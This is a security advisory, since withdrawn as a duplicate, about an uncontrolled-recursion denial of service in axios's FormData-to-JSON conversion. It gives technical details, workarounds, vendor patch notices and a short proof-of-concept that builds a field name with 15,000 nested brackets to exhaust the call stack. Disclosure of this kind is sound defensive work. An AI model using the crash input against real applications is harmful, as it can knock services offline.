CVE-2026-67313

axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON when processing FormData field names with deeply nested bracket segments. Attackers can supply FormData with field names containing thousands of nested brackets to exhaust the JavaScript call stack and trigger RangeError, causing request failure or process termination in applications that do not handle the exception.

Summary

Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type.

Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.

Impact

The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion.

The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously.

Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON.

Affected Functionality

Affected APIs and paths:

• axios.formToJSON(formData)
• import { formToJSON } from "axios"
• lib/helpers/formDataToJSON.js
• axios default transformRequest when data is FormData and Content-Type contains application/json

Unaffected or lower-risk paths:

• Normal multipart FormData requests without JSON Content-Type
• toFormData() object-to-FormData serialisation, which already has a maxDepth guard
• Axios versions before 0.28.0, where this helper and public API were not present

Technical Details

lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element.

formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth:

const result = buildPath(path, value, target[name], index);

A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded.

Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection.

Proof of Concept of Attack

import { formToJSON } from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

try {
  formToJSON(fd);
  console.log("not vulnerable");
} catch (err) {
  console.log(`${err.constructor.name}: ${err.message}`);
}

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

The axios request transform path can also be reached before network I/O:

import axios from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

await axios
  .post("http://127.0.0.1:1/", fd, {
    headers: { "Content-Type": "application/json" }
  })
  .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

Workarounds

Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios.

If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth…

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-42h9-826w-cgv3. This link is maintained to preserve external references.

Original Description

axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON when processing FormData field names with deeply nested bracket segments. Attackers can supply FormData with field names containing thousands of nested brackets to exhaust the JavaScript call stack and trigger RangeError, causing request failure or process termination in applications that do not handle the exception.

axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON when processing FormData field names with deeply nested bracket segments. Attackers can supply FormData with field names containing thousands of nested brackets to exhaust the JavaScript call stack and trigger RangeError, causing request failure or process termination in applications that do not handle the exception.

TuxCare rebuilt axios to address 5 CVEs. Fixed in 1.7.9-tuxcare.3.

TuxCare rebuilt axios to address 6 CVEs. Fixed in 1.6.2-tuxcare.5.

TuxCare rebuilt axios to address 5 CVEs. Fixed in 1.7.9-tuxcare.4.

TuxCare rebuilt axios to address 28 CVEs. Fixed in 1.13.5-tuxcare.1.

TuxCare rebuilt axios to address 10 CVEs. Fixed in 1.16.0-tuxcare.1.

TuxCare rebuilt axios to address 9 CVEs. Fixed in 1.17.0-tuxcare.2.

TuxCare rebuilt axios to address 10 CVEs. Fixed in 1.16.1-tuxcare.2.

TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.13.2-tuxcare.2.

TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.12.2-tuxcare.1.

TuxCare rebuilt axios to address 27 CVEs. Fixed in 1.13.6-tuxcare.3.

These are all security issues fixed in the agama-web-ui-24+0.a836cced5-52.1 package on the GA media of openSUSE Tumbleweed.

Root has patched CVE-2026-67313 in the axios package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-42h9-826w-cgv3 in the axios package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-fq2j-3j99-rx65 in the axios package for Root:npm. Multiple fixed versions available.